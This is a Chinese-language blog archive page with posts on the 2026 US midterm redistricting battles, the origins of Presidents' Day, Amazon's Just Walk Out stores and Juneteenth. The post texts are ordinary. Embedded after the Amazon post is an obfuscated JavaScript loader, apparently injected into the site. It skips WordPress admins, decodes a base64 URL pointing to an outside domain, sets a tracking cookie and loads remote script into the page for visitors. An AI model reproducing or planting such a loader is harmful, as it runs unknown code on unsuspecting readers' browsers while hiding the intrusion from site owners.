Category: Uncategorized

  • 2026 美國期中選舉:選區地圖的爭奪戰

    2026 美國期中選舉:選區地圖的爭奪戰

    美國眾議院微弱多數與2026年的關鍵賭注

    A Razor-Thin Majority and the Stakes for 2026

    In the wake of the 2024 election, the political map of the U.S. House of Representatives has never looked so fragile. With the Republican party holding a razor-thin majority of roughly 220 seats to 215, the battle for the 2026 midterms has, in effect, already begun. The most decisive engagements in this war, however, are not being fought at campaign rallies but in state courtrooms and closed-door legislative sessions.

    在2024年選舉之後,美國眾議院的政治版圖相當脆弱。共和黨僅以約220比215的微弱多數掌控眾議院,實際上,爭奪2026年中期選舉的戰役已經悄然展開。

    地圖之戰:黨派重新劃區成為政治武器

    The Map War: Partisan Redistricting as a Weapon

    The trend I am watching closely is the growing weaponization of partisan, mid-decade redistricting in the fight for House control.

    Traditionally, congressional maps are drawn once after the decennial census (most recently in 2020) and remain fixed for the next ten years. But the near-tie of the 2022 election results has changed the game. With every single seat capable of deciding the majority, both parties are now aggressively litigating to force favorable maps into place before the 2026 election.

    我關注的趨勢是黨派以十年中期重新劃區為利器,作為爭奪眾議院控制權的工具。傳統上,國會選區地圖每十年一次繪製(最近一次是在2020年),並在接下來十年保持固定。但2022年選舉結果的接近平手改變了遊戲規則。由於每個席位都有可能決定多數黨,兩黨都在積極進行訴訟,試圖在2026年選舉前確保對自己有利的選區地圖。

    州內戰鬥與黨內矛盾

    State Battles and Internal Party Friction

    This “map war” is playing out across the country. In New York, Democrats are litigating to gain several seats. In North Carolina and Ohio, Republicans are working to solidify their own gerrymanders. Federal courts have forced redraws in Alabama and Louisiana. This battle is also creating internal party friction: in states Democrats control, like Maryland and Illinois, national leaders are pushing for aggressive new maps, while some state officials are resisting, fearing the high legal and political risks.

    這場「地圖之戰」正在全美各地展開。在紐約,民主黨正訴訟爭取增加數個席位;在北卡羅來納與俄亥俄,共和黨正努力鞏固自己的選區劃分。聯邦法院已迫使阿拉巴馬與路易斯安那重新繪製選區。這場戰鬥也引發了黨內矛盾:在民主黨掌控的州,如馬里蘭與伊利諾州,全國黨部推動激進的新地圖,但部分州官員則因擔憂法律與政治風險而抵制。

    安全選區、初選與選民影響力

    Safe Districts, Primaries, and Voter Power

    As seen in states like Texas and California, the party in control of state government often uses that power to draw lines that maximize its own advantage. The direct consequence of this “map game” is that it hollows out the meaning of the November general election.

    This exacerbates a related trend: the transfer of political power to party primaries. When a district is gerrymandered to be “safe” (e.g., R+20 or D+20), the general election becomes a rubber stamp. The only election that truly matters is the primary. This explains why the debate over “open” versus “closed” primaries has become so intense; as gerrymandering makes the general election irrelevant, the rules of the primary become the only rules that matter.

    Looking ahead to 2026, the outcomes of many elections may be decided by lawyers, judges, and map-makers long before the first vote is cast. This structural manipulation not only fuels political polarization—as candidates only need to appeal to their party’s most animated primary voters—but it also raises fundamental questions about whether a voter’s power is truly being counted.

    正如德州與加州所見,掌控州政府的政黨往往利用權力繪製選區,以最大化自身優勢。「地圖遊戲」的直接後果是削弱了十一月大選的意義。當選區被劃為「安全區」(例如 R+20 或 D+20),大選變得形同虛設,真正關鍵的選舉是初選。這也解釋了為何「開放初選」與「封閉初選」的爭論如此激烈:隨著操縱選區使大選失去意義,初選規則成為重要的規則。

    展望2026年,許多選舉結果可能在開始投票前就已由律師、法官與地圖規劃者決定。這種結構性操作加劇政治極端化——候選人只需迎合黨內最活躍的初選選民——也提出了根本性問題:選民的投票是否真正落實在選舉結果?

    相關 podcast🎙
    EP59 | 百頁選舉公報和七頁選票,直擊美國選舉一起投票去 ft. Yi姐
    短影片 | 希望美國總統候選人解決什麼問題
    EP57 | 美國政治腐敗三重奏:任期、遊說與投資
    EP55 | 我的選票不給總統給誰 美國選舉人團是什麼
    EP48 | 美國初選超級星期二:現場拉票舉手投票奇觀與川普選票除名之謎
    EP17 | 選舉番外篇- 年糕上班到凌晨的神祕工作 政治&市場民調數據分析

  • 美國新年第一個三天連假,President’s Day 其實在紀念誰?

    美國新年第一個三天連假,President’s Day 其實在紀念誰?

    從華盛頓到 DC 櫻花的故事

    今年除夕,美國剛好放假。很多人問:「為什麼美國今天休假?」是因為華人勢力打到可以也在美國有年假了嗎!沒有啦,西雅圖有人這樣提議但是還沒有過,那為何可以放假呢——因為那天是 President’s Day。

    這個所謂的「總統日」,真的在紀念所有總統嗎?還是某一位特別重要的人物?如果往歷史回頭看,你會發現,這個節日其實有一段比我們想像中更有意思的故事。

    一切從華盛頓開始

    President’s Day 最早的名字,其實是 Washington’s Birthday

    George Washington 是美國第一任總統,也是美國獨立戰爭的總司令,被尊為美國國父。他出生於 1732 年 2 月 22 日。到了 1885 年,美國正式將他的生日設為聯邦假日。這也是美國歷史上第一次,為一位「個人」設立全國性假日。

    這件事在當時意義重大。因為美國剛脫離英國王權統治,選擇用一位拒絕成為國王的人,作為國家象徵。

    他差點成為國王

    在獨立戰爭結束後,軍中其實有人希望華盛頓稱王。對一個剛打贏戰爭、手握軍權的人來說,這並不是不可能的選項。

    但華盛頓拒絕了。他主動辭去軍職,回到農莊生活。這個舉動在當時震撼整個世界。歷史上,握有軍權的人往往會繼續掌權,但他選擇把權力交回制度。

    後來他當選總統,也在兩任期滿後主動退下。當時並沒有任期限制,他如果願意,極有可能繼續連任。但他認為權力應該輪替。直到後來 Franklin D. Roosevelt 四度連任後,美國才正式修憲限制總統只能兩任。可以說,華盛頓當年的決定,早已為制度定下基礎。

    為什麼現在不在 2 月 22 日?

    原本華盛頓生日固定是 2 月 22 日。但 1968 年,美國通過了一項法律——Uniform Monday Holiday Act。目的是將幾個假日統一移到星期一,讓全國民眾有三天連假。

    1971 年起,Washington’s Birthday 改為「2 月第三個星期一」。

    這個改動看似只是行政安排,卻產生了文化上的轉變。因為從那時起,這個節日幾乎不會真正落在華盛頓的生日。當日期與生日脫鉤,節日的意義也慢慢從「紀念某一天」轉向「象徵某種精神」(還是就是放假的精神 lol

    那為什麼大家叫 President’s Day?

    有趣的是,在聯邦法律上,這一天的正式名稱仍然是 Washington’s Birthday。

    「President’s Day」其實不是官方改名,而是文化演變的結果。

    這個假日距離 Abraham Lincoln 的生日(2 月 12 日)也很近。許多州原本就會紀念林肯,後來乾脆用 President’s Day 來涵蓋兩位重要總統。再加上商業與媒體逐漸使用這個名稱,久而久之,大眾也習慣這樣稱呼。

    於是,一個原本為華盛頓而設的節日,變成了象徵歷任總統的日子。

    DC 的櫻花,真的和華盛頓有關嗎?

    說到華盛頓,很多人會聯想到春天盛開的櫻花。

    每年三、四月,華盛頓特區的潮汐湖周圍櫻花盛放,成為城市最美的風景。很多人會誤以為,這些櫻花是為了紀念華盛頓總統。

    但事實並非如此。1912 年,日本政府贈送約 3,000 株櫻花樹給美國,象徵日美友誼。櫻花因此成為國際交流的象徵,而不是為了紀念總統本人。

    至於華盛頓州,則確實是以華盛頓總統命名。但當地的櫻花,多半是日本移民或園藝團體栽種的結果,同樣與總統本人沒有直接關係。

    所以 「櫻花不是為了華盛頓種的,但它剛好開在華盛頓!」

    一個節日的意義

    President’s Day 的演變,其實很能代表美國文化。

    它從一個人的生日開始,承載著共和制度的象徵;接著因制度調整而改變日期,最後在文化與商業的推動下,變成更廣義的「President’s Day」。

    一個節日,不只是放假的一天,而是歷史、制度與文化共同塑造的結果。

    Fun Fact:日本的「天皇誕生日」會跟著換日期 🇯🇵

    如果把視角拉到日本,會發現另一種很有意思的節日。日本有一個國定假日叫做「天皇誕生日」,顧名思義,就是現任天皇的生日。特別的是,這個假日會隨著天皇更替而改變日期。現任天皇德仁的生日是 2 月 23 日,因此現在的天皇誕生日就是 2 月 23 日;而在上一任天皇明仁在位期間,假日則是 12 月 23 日。換句話說,日本紀念的不是某一段固定的歷史事件,而是當下仍在位的國家象徵本身。

    這和美國的 President’s Day 很不一樣。美國的這一天起源於紀念 George Washington,後來逐漸轉化為象徵總統制度與共和精神的節日;而日本則保留了與現任天皇直接連結的傳統。不同的節日設計,反映了不同國家理解歷史與國家象徵的方式。

    EP81 | 美國 President’s Day 紀念哪位總統?DC 櫻花盛開的秘密
    番外篇 | us美國大選中的數據科學 解密美國民調和選戰套路
    EP48 | 美國初選超級星期二:現場拉票舉手投票奇觀與川普選票除名之謎
    EP73 | 美國Memorial Day為何放假 跟Veterans Day差別是什麼

  • 亞馬遜曾帶零售革命的 Just Walk Out 打造無店員商店,現在全面收攤?

    亞馬遜曾帶零售革命的 Just Walk Out 打造無店員商店,現在全面收攤?

    job louana237

    我在美國機場不只看一次這個很酷的無店員商店,起初以為只有 Amazon Go 才有,後來發現有些超商有跟 Amazon 合作這個 Just Walk Out 技術,大家可以看到最下面 Just Walk Out 的影片。

    沒有收銀員結帳

    簡單介紹一下這個技術,Amazon 為了提升購物便利性,開發了 Just Walk Out 的技術,首先應用於 Amazon Go 商店。這項技術讓顧客能夠在沒有收銀員結帳的情況下,輕鬆購物並離開。商店內部裝置了多個感應器和攝像頭,當時他們說 Amazon 結合了深度學習(Deep Learning)、機器學習(Machine Learning)和感知融合技術(Sensor Fusion)來追蹤顧客的行動及他們所拿的商品。但是這陣子的新聞報導這項技術實際上依賴了大量的人力來確保交易的準確性。預計有超過一千名在印度的工作人員負責觀察和記錄影片,以協助處理某些不能被程式語言辨識的交易。

    合作案例 – Amazon Go、超商、星巴克等

    Amazon 並未將這項技術局限於自家的 Amazon Go 商店,而是將其推廣至其他零售場所,包括 Whole Foods 和 Amazon Fresh,以及第三方零售商。在紐約,星巴克與 Amazon 合作開設了一家結合了星巴克 app 與 Just Walk Out 技術的概念店,提供了類似於 Amazon Go 的無人收銀體驗​ (Engadget)。另外,Amazon 也與英國的大型超市連鎖店 Sainsbury’s 合作,在倫敦的 Holborn Circus 開設了無需結帳的超商。

    被質疑的數據隱私

    過去 Amazon 聲稱在提供 Just Walk Out 技術的同時,都有遵守數據保護法律,以保護消費者的隱私。而與第三方合作的店家,Amazon 雖然可以獲取一定的操作數據,但所有通過此技術收集的數據都受到合作協議和相關法律的限制。然而,當報導報出其實這些資料並不完全交由人工智慧來分析,而是由人來整理數據時,就引起了更多隱私方面的擔憂。

    Amazon 出新招 Dash Carts AI 購物車

    Amazon 正重新審視其零售技術戰略,Amazon 開始在一些 Amazon Fresh 商店中逐步淘汰 Just Walk Out 技術,並引入 Dash Carts AI 購物車。這個 Dash Cart依然能享受免排隊結帳,同時增加互動和更多的功能,像是提供即時收據查看,顧客可以通過購物車上的觸控螢幕看到和管理他們的購物清單,包括商品價格和當前總金額。觸控螢幕上有 QR code,登入 Amazon 帳戶,能及時查看當下的優惠,並導航找到商店內的特定商品。 此外,Just Walk Out 技術將繼續在 Amazon Go 商店、英國的小型 Amazon Fresh 商店以及一些第三方零售商中使用。總之,Just Walk Out技術的實際應用情況比最初宣傳的全自動化程度要低,而且在推廣過程中遇到了技術和隱私方面的挑戰。

    Featured image by Shinya Suzuki

    https://www.instagram.com/p/C5wspiVMAN0
    (function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();
  • 從 2021 年起成為聯邦假日的「黑人獨立日」:Juneteenth(6 月 19 日)

    從 2021 年起成為聯邦假日的「黑人獨立日」:Juneteenth(6 月 19 日)

    六月除了第三個禮拜日是父親節,還有一個對美國相當重要的節日,尤其是這兩年更讓人重視。它是 6 月 19 日的六月節 Juneteenth,這天許多人能開心放假,不過為什麼放假呢,讓我們來了解一下這個日子吧,這節日由沉重的歷史鋪墊而成…

    Juneteenth起源

    能在這天放假,是因為6月19日的六月節 Juneteenth,Juneteenth 是結合「June(六月)」和「nineteenth (19日)」兩個字,正式名稱為六月節全國獨立日 Juneteenth National Independence Day,也稱自由日 Freedom Day、解放日 Emancipation Day、黑人獨立日 Black Independence Day。

    顧名思義,簡單來說,這天是美國全部黑人從奴隸制度中跳出的日子,儘管我們知道,他們的權力、真實利益有沒有獲得伸張、社會種族歧視都還是需要很長時間的努力,即使到現在也都無法說是完全平等,也成為非常具有爭議性的話題。

    美國南北戰爭

    美國南北內戰 1861 年到 1865 年,當時北邊州主張解放黑奴,組織了北方合眾國 United States of America,合力往南邊打,南邊州的聯盟國稱為 Confederate States of America,當時成為總統林肯(Abraham Lincoln)於 1862 年 9 月 22 日宣布了《解放奴隸宣言(Emancipation Proclamation)1863 年生效,雖然南方蓄奴州並不歸聯邦政府管轄,也開始陸續投降,然而德州地理位置獨立,並沒有成為戰場,許多人帶著他們的奴隸從東部各州移民到德州來逃避戰爭。德州則成為最後一個向北方合眾國(United States of America)投降的南部州,也是美國黑奴最後獲得自由的地方。

    Lincoln reading Emancipation Proclamation

    這天 1865 年 6 月 19 日,聯邦政府少將格蘭傑(Gordon Granger)率領 2000 多名官兵抵達德州宣讀《第三號將軍令》(General Order No. 3):「根據美國政府的宣言,所有奴隸獲得自由。」這裡的「宣言」就是指 1863 年 1 月 1 日正式實施的《解放奴隸宣言》(Emancipation Proclamation)。

    在 1980 年德州成為為第一個將六月節作為州節日(state holiday)的州,這個日子也陸續被其他州正視,更在去年 2021 年美國總統 Joe Biden 於 6 月 17 日正式宣布六月節成為美國第12個國定假日,這是1983年宣告馬丁路德紀念日以來,首次新增國定假日。也算是對 2020 年發生的喬治・佛洛伊德(George Floyd)之死、Black Lives Matter (BLM)的其中一個交代(補償?),他說到「這一天意義深遠、力量雄厚。在這一天我們回顧奴隸體制對國家造成的道德污點與長期不平等、不人性的嚴重傷害。這一天將提醒我們,我們有能力治療創傷,帶來希望。」

    大概說一下喬治・佛洛伊德事件,他是一名美國黑人,當時被一位白人警察因不當執法,當街用膝蓋壓頸窒息致死。這個悲劇轟動了全美,也開啟了 Black Lives Matter 民權運動。

    黑人的公共娛樂

    早期的黑人經常被禁止使用公共設施慶祝活動,因此在 Juneteenth 這天,他們可能選擇在教堂或水邊舉行各種活動,例如打棒球、釣魚、大餐、唱歌跳舞、遊行、野餐、公園排隊、歷史戲劇表演、六月決選美比賽等,也有文化講座,包括公開宣讀《解放奴隸宣言》、宣導選名登記、朗誦非裔美國作家的作品。

    不過呢,雖然是國定假日,卻不是所有人都放假,為什麼?因為聯邦是聯邦,地方是地方,公司是公司 lol 可以看看這幾篇,讓我們了解美國政治體系是多麼各自為政(歷史沉重,但我還是想放假 :(((((

    相關閱讀

    聼我説雖然聯邦常管不住地方 但其實管的事也不少
    為何常聽見「要吸大麻,去拉斯維加斯啦,這裡不行!」 正所謂家有家規,州有州法
    美國行政區County City傻傻分不清楚,我要去紐約州內的某個County,還是其實要去紐約市這個City
    2022年6月19日也是父親節,88節只有台灣蒙古適用!

    資料來源

    What Is Juneteenth?
    Juneteenth – Wiki
    Juneteenth: The History of a Holiday

    你們的鼓勵

    是我努力堅持的動力

    如果你喜歡我的文章,歡迎分享給你的朋友,留言或是寫信給我,都對我是很大的鼓勵。

    也希望你能點選下方拍手圖示,幫我拍手 5 下給我支持:

    這是一個不用花任何錢就能支持我的方法,只需要登入FB或是 Google 帳號,給我5下拍手,回饋會由 LikeCoin 基金會配發。這將鼓舞我繼續寫更多文章,也能分擔一點支付網站主機的費用。